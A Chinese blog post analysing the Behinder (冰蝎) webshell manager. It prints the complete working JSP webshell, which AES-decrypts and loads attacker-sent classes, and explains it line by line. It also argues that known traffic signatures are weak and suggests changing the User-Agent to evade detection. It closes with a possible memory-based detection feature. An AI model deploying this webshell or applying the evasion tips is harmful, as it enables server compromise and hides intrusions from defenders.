前尘——流量中的无法捕捉的蝎子

 

前言

一天一个朋友跑过来，问我冰蝎又没有魔改的版本。说自己冰蝎执行命令被拦截了，于是我开始借此机会分析冰蝎源码，寻找其特征。

 

JSP一句话木马分析

冰蝎两端二开，首先分析其JSP
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
为了方便分析将其带入idea中进行格式化

一个类名为U的类继承ClassLoader,这里我只给大家解释一点,避免对classloader解释太多让大家不易理解。classloader就是将class文件加载到JVM中。读者理解这一点就行……

获取request对象，然后通过request对象获取请求方法。如果是POST方法则向下处理……

定义一个密钥，因为其采用aes加密,然后将这个key存入session对象，key为u，value为密钥。

通过Cipher对象实现了AES加密

然后初始化这个加密算法
init(int opmode, Certificate certificate)
init这个api是使用给定证书中的公钥初始化此密码。然后此处解决一个疑问，此处的aes加密还是解密是我困惑的一个点，后来差文档发现第一个参数opmode支持两种模式ENCRYPT_MODE ， DECRYPT_MODE ， WRAP_MODE或 UNWRAP_MODE，然后他传了一个int类型的2即为解密。
然后将上文声明的key当作密钥传入。自此aes方法声明结束。

然后实例化当前类，对于这种链式操作很大程度上减少了代码量，但是对于分析者不怎么友好。这种写法需要从内向外分析。
1.调用request对象的getReader然后逐行读取请求包里的内容。
2.调用sun包下misc中Base64Decoder方法对其进行base64解密
3.调用上文中实例的aes算法对象的dofinal对其进行aes解密
4.将内容传给声明的方法g中，内部调用defineClass方法动态解析内容成class内容

这里主要是defineClass方法给出api，可以搜索这个api文档深入理解。

 

聊聊这样实现的优势

我不得不承认的冰蝎作者对webshell管理端这样的先河开辟者的佩服。原因如下：对于一个webshell的控制，其最主要的功能在于命令执行也就是Runtime类。客户端向服务端发送命令，服务端获取内容然后带入exec当中。但是冰蝎作者没有这么做，他选择类加载的方式，客户端发送给服务端类文件由服务端使用classloader加载到jvm。这样做最大的好处就是可扩展性，可以做的事情不在局限于runtime类，让可以做的事情无限放大。从0到1是个大问题……

 

客户端

接下来看看客户端目录结构，让我庆幸的是。当我再次看到这样的目录结构让我留下的阔别已久的泪水，那些老架构项目的架构烂的一塌糊涂。这样的架构，分层思想给我接下来的分析减少了很大压力，直接pom下载依赖。
冰蝎使用了sqllite数据库

核心表就两张，hosts和shell表。多对多的关系，保存shell的记录。
1.dao层负责查询数据
2.entity层负责数据库和应用程序的实体映射
3.ui负责界面
4.util工具包
5.payload是客户端的功能实现

功能实现自己看吧，无非创建文件删除文件这些没啥说的。

聊聊特征

https://www.freebuf.com/sectool/247009.html 我一句这篇文章来做一个反驳吧
1.content-type Content-Type: application/octet-stream属于强特征。这种属于流传输，而用到流传输的地方多了去了，不能作为特征。
2.user-Agent 。我看了源码中

冰蝎子中默认定义的agent头，查阅后并未发现敏感特殊字样，都为正常ua头。如果实在担心可以修改默认的ua头。

Accept&Cache-Control，文章中说如果不自行定义则会使用默认的
Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2
Cache-Control: no-cache
Pragma: no-cache
User-Agent: java/1.8
这很正常，大多数请求都不会自己定义。
综上所述，以上几种特征都属于强行找特征。如果有必要，建议只修改ua头即可。

 

总结

看完整个代码之后的感觉就是，冰蝎作者的开发功底可以，其中用到多种设计模式，方法的抽离性比较强。每个方法都放到了该放的位置，但是数据库设计的个人认为有很多冗余字段存在于host和shell表中。
最后提一嘴，

除流量特征以外的内存特征session 中的key为u算不算一个呀，这个作为内存马检测算不算很有力。